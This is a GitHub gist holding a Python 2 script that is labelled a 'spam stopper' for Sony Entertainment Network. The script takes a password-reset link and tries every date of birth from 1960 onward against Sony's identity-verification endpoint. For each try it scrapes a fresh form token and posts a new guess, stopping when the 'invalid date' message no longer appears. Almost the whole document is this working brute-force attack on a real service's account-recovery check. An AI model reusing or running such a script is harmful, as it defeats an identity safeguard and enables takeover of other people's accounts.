Skip to content

Instantly share code, notes, and snippets.

@fvicente
Created September 13, 2015 03:16
Show Gist options
  • Save fvicente/75980d0d00d759b06e50 to your computer and use it in GitHub Desktop.
Save fvicente/75980d0d00d759b06e50 to your computer and use it in GitHub Desktop.
Sony Entertainment Network spam stopper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import urllib
import urllib2
import datetime
import sys
import time
from HTMLParser import HTMLParser
# create a subclass and override the handler methods
class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
attrs_dict = dict(attrs)
if tag == "input" and attrs_dict.get('name', '') == "blah_token":
setattr(self, "value", attrs_dict.get("value"))
def handle_endtag(self, tag):
pass
def handle_data(self, data):
pass
values = {
'struts.token.name' : 'blah_token',
'blah_token': '',
'verifyType': 'dob',
'account.dob': '1',
'account.mob': '1',
'account.yob': '1980',
}
#
# IMPORTANT: paste the URL received in the change password e-mail in the url variable, the url looks something like this:
# https://account.sonyentertainmentnetwork.com/reg/account/validate-forgot-password-token!input.action?token=***some token here***&request_locale=pt_BR&service-entity=np
#
url = '*** PASTE URL HERE ***'
url_post = "https://account.sonyentertainmentnetwork.com/liquid/reg/account/forgot-password-verify-identity.action"
s = requests.session()
r = s.get(url)
date = datetime.datetime(1960, 1, 1, 1, 1, 1)
today = datetime.datetime.today()
while date < today:
date += datetime.timedelta(days=1)
# find token
parser = MyHTMLParser()
parser.feed(r.text)
if not hasattr(parser, "value"):
print "!!!!! FOUND %s" % date.isoformat()
break
val = getattr(parser, "value")
print "blah_token = %r" % val
values['blah_token'] = val
values['account.dob'] = str(date.day)
values['account.mob'] = str(date.month)
values['account.yob'] = str(date.year)
r = s.post(url_post, values)
#
# IMPORTANT: The message is in portuguese, you will need to change this message to match your language
#
if u'A data de nascimento inserida é inválida. Verifique a data e tente novamente.' in r.text:
print "birthday is not %s" % date.isoformat()
else:
print "!!!!! FOUND %s" % date.isoformat()
break
sys.stdout.flush()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment